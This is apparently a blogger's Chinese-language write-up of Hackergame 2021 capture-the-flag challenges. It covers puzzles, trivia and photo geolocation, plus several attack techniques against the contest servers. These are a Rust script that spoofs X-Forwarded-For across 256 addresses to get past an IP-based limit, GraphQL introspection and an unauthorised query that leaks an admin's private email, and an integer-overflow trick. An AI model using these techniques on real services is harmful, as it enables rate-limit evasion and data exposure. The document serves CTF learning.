Hackergame 2021 Writeup

这次做出来的题比较少,于是只有一篇 Writeup。

签到

为了能让大家顺利签到,命题组把每一秒的 flag 都记录下来制成了日记本的一页。你只需要打开日记,翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag!

打开题目就是熟悉的 1970 年 1 月 1 日,每点一次 Next 就会 +1s,这让我不禁想到了些什么。于是直接搜索 时间戳,复制,粘贴到地址栏替换 page 参数,回车就得到 flag。

进制十六——参上

映入眼帘的是一张图片,右边的 flag 被遮住了,但左边有其字符对应的十六进制值。

Hex Editor

打开 Sublime Text,把对应的十六进制值一股脑输进去,以十六进制编码保存,重新用 UTF-8 编码打开,即得到 flag。

去吧!追寻自由的电波

「X 同学使用了无线电中惯用的方法来区分字符串中读音相近的字母」
「最终接受到的录音的速度有所改变」

读完题后首先听了听音频,确实听不清,于是用软件放慢到 0.25 倍,结合题目就大致清楚方向了(因为听过一些 ATC,这时我开始窃喜)。

搜到了 国际无线电通话拼写字母 列表后,经过一番艰苦卓绝的英语听力,终于听出了如下原文(这时我已心力憔悴):

Original Text
1
2
3
4
Foxtrot Lima Alpha Golf
left bracket
Papa Hotel Oscar November Echo Tango India Charlie Alpha Bravo
right bracket

flag{phoneticab}

然而比赛之后我一听官方题解里放慢的音频,好家伙,怎么这么清晰?原来是因为当时我放慢音频的时候保持了原音调,按改变音调的正确方法放慢到 1/3 后甚至比题解里的还清晰。

猫咪问答 Pro Max

  1. 2017 年,中科大信息安全俱乐部(SEC@USTC)并入中科大 Linux 用户协会(USTCLUG)。目前,信息安全俱乐部的域名(sec.ustc.edu.cn)已经无法访问,但你能找到信息安全俱乐部的社团章程在哪一天的会员代表大会上通过的吗?
    打开 Internet Archive 后,搜索 sec.ustc.edu.cn,随后在 这里 找到答案:20150504

  2. 中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团?
    前往 USTC LUG 主页,一通寻找后在 这里 找到了相关介绍,我一数,得到答案 5

  3. 中国科学技术大学 Linux 用户协会位于西区图书馆的活动室门口的牌子上“LUG @ USTC”下方的小字是?
    在 USTC LUG 站内搜索 西区图书馆,立即得到答案:Development Team of Library

  4. 在 SIGBOVIK 2021 的一篇关于二进制 Newcomb-Benford 定律的论文中,作者一共展示了多少个数据集对其理论结果进行验证?
    在 SIGBOVIK 主页下找到其 2021 PDF,在 PDF 内搜索 Newcomb-Benford,看到有 14 张图片与数据有关。排除非二进制的第一张,可以确定答案为 13

  5. 不严格遵循协议规范的操作着实令人生厌,好在 IETF 于 2021 年成立了 Protocol Police 以监督并惩戒所有违背 RFC 文档的行为个体。假如你发现了某位同学可能违反了协议规范,根据 Protocol Police 相关文档中规定的举报方法,你应该将你的举报信发往何处?
    找到相关文档 IETF RFC 8962,忍住不笑看到第六节,得到答案 /dev/null

卖瓜

看到这题,我最开始想到的是放负数个瓜(实际上并没有用,怎么放都是三的倍数),但后端不让:操作无效:不能放负数个瓜

于是通过放上较多的瓜测试得出应该要溢出 64 位有符号整数,进一步尝试后找到方法:

令 a = (2 ^ 63 - 1) / 6 = 1537228672809129301,依次放上 6 斤的瓜 a, (a + 1) 个,这时电子秤上就有 -2 斤瓜。

重复上述操作后再放上 6 斤的瓜 4 个即可得到 flag。

透明的文件

搜索后得知文件内的文本为 ANSI 转义序列, 其中每个左方括号 [ 前应有一个 ESC 字符 (0x1B)。要正确显示此序列,需要将所有 [ 替换为 \e[,并在一个优质终端(例如 Git Bash)中使用命令 echo -e 打印。

将命令写入 shell 脚本后运行,发现终端内的部分文字出现了缺失,右键全选后才能显示出彩色 flag。

然而终端内仍有部分文字会影响 flag 的阅读,我们可以在脚本后加入一行 read -n 1,并运行 clear && ./a.sh 来解决此问题。最终结果如下图所示:

flag{abxnniohkalmcowsayfiglet}

旅行照片

从图中的 活海鲜 招牌可以看出图中的地点是在海边,最开始我在地图上沿海岸线通过地形找了很久也没有结果,于是只能转向网络搜索。

通过关键词 肯德基 海滩 停车场 搜索,我在百度上找到了图中 KFC 分店的位置——秦皇岛新澳海底世界,那么接下来的题目就很简单了。

  1. 通过对比图片和地图,可以得出拍摄者的面朝方向为 东南

  2. 由第 1 题可知楼影的朝向大致为东北,同时影子较长,于是可以判断拍摄时间大致为 傍晚

  3. 注意到提示 小区内每栋楼的层高和海拔均相同,且地上部分楼层为从 1 开始的连续自然数,且图中的楼有 14 层的窗户可见,于是可以知道答案大致为 14,最终答案正好也为 14

  4. 搜索得知 KFC 分店的电话号码是 0335-7168800

  5. 运用街景地图得知这三个汉字为 海豚馆

FLAG 助力大红包

首先手动助力试了试,重复助力后提示 重复的 /8 地址。然而,由于 /8 IPv4 地址块 只有 256 个,通过常规方法显然是不能助力成功的,于是想到伪造地址来助力。

可以编写一个 Rust 程序来解答此题,其中用到的 HTTP Header X-Forwarded-For 被代理服务器用于表示请求端的真实 IP。

invite.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use std::{thread, time::Duration};
fn main() {
let client = reqwest::blocking::Client::new();
for i in 0..=255 {
let ip = format!("{}.241.53.1", i);
let resp = client
.post("http://202.38.93.111:10888/invite/uuid")
.header("X-Forwarded-For", &ip)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(format!("ip={}", ip))
.send()
.unwrap();
println!("{}", resp.text().unwrap());
thread::sleep(Duration::from_millis(1500))
}
}

跑个几分钟就可得到 flag。

Amnesia - 轻度失忆

搜索得知 .data 段用于存放已初始化的全局变量,而 .rodata 段用于存放常量数据,于是容易想到可以一个字符一个字符地打印。

amnesia_1.c
1
2
3
4
5
6
7
#include "stdio.h"
int main() {
putchar('H'); putchar('e'); putchar('l'); putchar('l');
putchar('o'); putchar(','); putchar(' '); putchar('w');
putchar('o'); putchar('r'); putchar('l'); putchar('d');
putchar('!');
}

图之上的信息

首先用测试账号登录,根据测试账号的笔记内容,结合题目中对 GraphQL 的描述,大致明白需要渗透 API 来获取 admin 账号的邮箱。

分析登录后界面的源代码,可以发现如下语句:

Source
1
2
3
axios.post("/graphql", {
query: "{ notes(userId: 2) { id\ncontents }}"
})

从中可以看出 API 的路径、调用方法和参数。注意到 guestuserId2,于是猜想 adminuserId1

更改 userId 并请求后,服务器返回了错误信息:This user has no permission to access this.

果然没有如此简单,那么我们进一步查找资料可以了解到 GraphQL 的安全问题:内省系统。可以通过如下的 query 来查询 GraphQL 中所有可用的类型、查询及参数:

GraphQL Query
1
2
3
4
5
6
7
8
9
10
11
12
13
{
__schema {
types {
name
fields {
name
args {
name
}
}
}
}
}

查询后得到以下结果(经缩减):

Data_1
1
2
3
4
5
6
7
8
9
[
{"name":"Query","fields":[
{"name":"note","args":[{"name":"id"}]},
{"name":"notes","args":[{"name":"userId"}]},
{"name":"user","args":[{"name":"id"}]}
]},
{"name":"GNote","fields":[{"name":"id","args":[]},{"name":"contents","args":[]}]},
{"name":"GUser","fields":[{"name":"id","args":[]},{"name":"username","args":[]},{"name":"privateEmail","args":[]}]}
]

于是可以构造查询 { user(id: 1) { username\nprivateEmail }},请求后得到 flag:

Data_2
1
2
3
4
{
"username": "admin",
"privateEmail": "flag{dont_let_graphql_l3ak_data_8e9ec4ca0c@hackergame.ustc}"
}

赛博厨房

Level 0

稍微尝试了一下,发现保存程序后第二天的菜谱会变,但长度始终为 2。
由于只有两种菜,且每次做菜前都会清理厨房,最多需要 4 个程序就能通关。

Level 1

看到一堆 0 就写了一个循环,立刻通关:

赛博厨房
1
2
3
4
5
6
7
向右 1 步
拿起 1 个物品
向下 1 步
向左 1 步
放下 1 个物品
向上 1 步
如果手上的物品大于等于 0 向上跳转 6 行

Hackergame 2021 Writeup

https://yescallop.cn/p/hg-2021-wp/

作者

Scallop Ye

发布于

2021-11-05

更新于

2021-11-05

许可协议

评论